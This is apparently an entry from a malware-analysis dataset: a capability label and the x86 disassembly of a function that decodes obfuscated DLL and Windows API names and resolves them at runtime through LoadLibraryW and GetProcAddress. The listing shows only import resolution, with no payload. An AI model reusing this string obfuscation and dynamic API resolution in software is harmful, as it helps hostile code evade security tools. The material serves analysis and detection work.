Function at 0x4027c0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
push 0xfffffffffffffffa
push str._tlMLKm_ztxx
call fcn.00404f5b
mov esi, eax
push str.EvZdyvM2vgvhWpC
mov dword [ebp - 0x30], esi
call fcn.00404d3b
push str.EvZUv27MxavC
mov ebx, eax
call fcn.00404d3b
push str.EvZOvxv2vyvvC
mov dword [ebp - 4], eax
call fcn.00404d3b
push str.sLv_uyjbvrrjIv_
mov dword [ebp - 8], eax
call fcn.00404d3b
push str._v2jIv_F_9jySM2Kj_
mov dword [ebp - 0x10], eax
call fcn.00404d3b
push str._v2UKtUaT_a2GjyK2h
mov dword [ebp - 0xc], eax
call fcn.00404d3b
push str._v2UKtUaT_a2GjyK2hdja_2
mov dword [ebp - 0x14], eax
call fcn.00404d3b
push str.dj_lvy2U2yK_ZUKtjUKtC
mov dword [ebp - 0x18], eax
call fcn.00404d3b
push str.ojjIaL_bbja_2UKtC
mov dword [ebp - 0x1c], eax
call fcn.00404d3b
push str.dj_lvy2UKtjU2yK_ZUKtC
mov dword [ebp - 0x20], eax
call fcn.00404d3b
push str.ojjIaL_bbja_2qMSvC
mov dword [ebp - 0x24], eax
call fcn.00404d3b
add esp, 0x34
mov dword [ebp - 0x28], eax
push esi
call dword [0x409204]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4028f5
push ebx
push esi
call edi
push dword [ebp - 4]
mov dword [0x40925c], eax
push esi
call edi
push dword [ebp - 8]
mov dword [0x409258], eax
push esi
call edi
push dword [ebp - 0x10]
mov dword [0x409254], eax
push esi
call edi
push dword [ebp - 0xc]
mov dword [0x40923c], eax
push esi
call edi
push dword [ebp - 0x14]
mov dword [0x409238], eax
push esi
call edi
push dword [ebp - 0x18]
mov dword [0x409234], eax
push esi
call edi
push dword [ebp - 0x1c]
mov dword [0x409230], eax
push esi
call edi
push dword [ebp - 0x20]
mov dword [0x40922c], eax
push esi
call edi
push dword [ebp - 0x24]
mov dword [0x409228], eax
push esi
call edi
push dword [ebp - 0x28]
mov dword [0x4091b4], eax
push esi
call edi
mov dword [0x4091b0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
call esi
push dword [ebp - 4]
call esi
push dword [ebp - 8]
call esi
push dword [ebp - 0xc]
call esi
push dword [ebp - 0x10]
call esi
push dword [ebp - 0x14]
call esi
push dword [ebp - 0x18]
call esi
push dword [ebp - 0x1c]
call esi
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x24]
call esi
push dword [ebp - 0x28]
call esi
push dword [ebp - 0x30]
call esi
push 0xfffffffffffffffa
push str.Ivy_vxm_ztxx
call fcn.00404f5b
mov ebx, eax
push str.Cj_fOKrMTxvCj_fJrEvtKyvb2Kj_
mov dword [ebp - 0x30], ebx
call fcn.00404d3b
push str.Cj_fEvlvy2Cj_fJrEvtKyvb2Kj_
mov dword [ebp - 4], eax
call fcn.00404d3b
push str.CMK2JjyUK_ZxvsTVvb2
mov dword [ebp - 0x28], eax
call fcn.00404d3b
push str._v2cjtaxvwM_txvC
mov dword [ebp - 0x24], eax
call fcn.00404d3b
push str.dyvM2vca2vpC
mov dword [ebp - 0x20], eax
call fcn.00404d3b
push str.EvxvMrvca2vp
mov dword [ebp - 0x1c], eax
call fcn.00404d3b
push str._v2oMr2Wyyjy
mov dword [ebp - 0x18], eax
call fcn.00404d3b
add esp, 0x24
mov dword [ebp - 0x14], eax
push ebx
call dword [0x409204]
mov ebx, eax
mov eax, dword [ebp - 4]
test ebx, ebx
je 0x402a06
test eax, eax
je 0x402a06
push eax
push ebx
call edi
push dword [ebp - 0x28]
mov dword [0x40924c], eax
push ebx
call edi
push dword [ebp - 0x24]
mov dword [0x409248], eax
push ebx
call edi
push dword [ebp - 0x20]
mov dword [0x409208], eax
push ebx
call edi
push dword [ebp - 0x1c]
mov dword [0x409204], eax
push ebx
call edi
push dword [ebp - 0x18]
mov dword [0x4091ac], eax
push ebx
call edi
push dword [ebp - 0x14]
mov dword [0x4091a8], eax
push ebx
call edi
mov dword [0x4091a4], eax
mov eax, dword [ebp - 4]
push eax
call esi
push dword [ebp - 0x28]
call esi
push dword [ebp - 0x24]
call esi
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x1c]
call esi
push dword [ebp - 0x18]
call esi
push dword [ebp - 0x14]
call esi
push dword [ebp - 0x30]
call esi
push 0xfffffffffffffffa
push str.qv2MLKm_ztxx
call fcn.00404f5b
mov ebx, eax
push str.qv2Xrvy_v2ojbMx_yjaLr
mov dword [ebp - 0x30], ebx
call fcn.00404d3b
push str.qv2_LKQa99vyJyvv
mov dword [ebp - 0x28], eax
call fcn.00404d3b
add esp, 0x10
mov dword [ebp - 0x24], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x402a7d
push dword [ebp - 0x28]
push ebx
call edi
push dword [ebp - 0x24]
mov dword [0x409224], eax
push ebx
call edi
mov dword [0x409220], eax
push dword [ebp - 0x28]
call esi
push dword [ebp - 0x24]
call esi
push dword [ebp - 0x30]
call esi
call fcn.004048a9
mov ebx, eax
push str.q2_xxjbM2v7Ky2aMxcvSjyh
mov dword [ebp - 0x34], ebx
call fcn.00404d3b
mov dword [ebp - 0x24], eax
mov dword [esp], str.q2CyK2v7Ky2aMxcvSjyh
call fcn.00404d3b
mov dword [ebp - 0x20], eax
mov dword [esp], str.q2_xvy2EvraSvGyvMt
call fcn.00404d3b
mov dword [ebp - 0x1c], eax
mov dword [esp], str.q2Ravav_LbGyvMt
call fcn.00404d3b
mov dword [ebp - 0x18], eax
mov dword [esp], str.q2Jyvv7Ky2aMxcvSjyh
call fcn.00404d3b
mov dword [ebp - 0x14], eax
mov dword [esp], str.q2sLv_gvh
call fcn.00404d3b
mov dword [ebp - 0x10], eax
mov dword [esp], str.q2Uv27Mxavgvh
call fcn.00404d3b
mov dword [ebp - 0xc], eax
mov dword [esp], str.q2dxjrv
call fcn.00404d3b
mov dword [ebp - 8], eax
mov dword [esp], str.E2xF_K2X_KbjtvU2yK_Z
call fcn.00404d3b
mov dword [ebp - 4], eax
mov dword [esp], str.q2dyvM2vgvh
call fcn.00404d3b
mov dword [ebp - 0x2c], eax
mov dword [esp], str.E2xUv2uyjbvrrFrdyK2KbMx
call fcn.00404d3b
mov dword [ebp - 0x28], eax
mov dword [esp], str.q2Ovxv2v7Mxavgvh
call fcn.00404d3b
pop ecx
push ebx
mov dword [ebp - 0x30], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x402bde
push dword [ebp - 0x28]
push ebx
call edi
push dword [ebp - 0x24]
mov dword [0x4091f8], eax
push ebx
call edi
push dword [ebp - 0x20]
mov dword [0x40921c], eax
push ebx
call edi
push dword [ebp - 0x1c]
mov dword [0x409218], eax
push ebx
call edi
push dword [ebp - 0x18]
mov dword [0x409214], eax
push ebx
call edi
push dword [ebp - 0x14]
mov dword [0x409210], eax
push ebx
call edi
push dword [ebp - 0x10]
mov dword [0x40920c], eax
push ebx
call edi
push dword [ebp - 0xc]
mov dword [0x4091c4], eax
push ebx
call edi
push dword [ebp - 8]
mov dword [0x4091c0], eax
push ebx
call edi
push dword [ebp - 4]
mov dword [0x4091bc], eax
push ebx
call edi
push dword [ebp - 0x2c]
mov dword [0x4091b8], eax
push ebx
call edi
push dword [ebp - 0x30]
mov dword [0x409184], eax
push ebx
call edi
mov dword [0x409158], eax
push dword [ebp - 0x28]
call esi
push dword [ebp - 0x24]
call esi
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x1c]
call esi
push dword [ebp - 0x18]
call esi
push dword [ebp - 0x14]
call esi
push dword [ebp - 0x10]
call esi
push dword [ebp - 0xc]
call esi
push dword [ebp - 8]
call esi
push dword [ebp - 4]
call esi
push dword [ebp - 0x2c]
call esi
push dword [ebp - 0x30]
call esi
push dword [ebp - 0x34]
call esi
pop edi
pop esi
pop ebx
leave
ret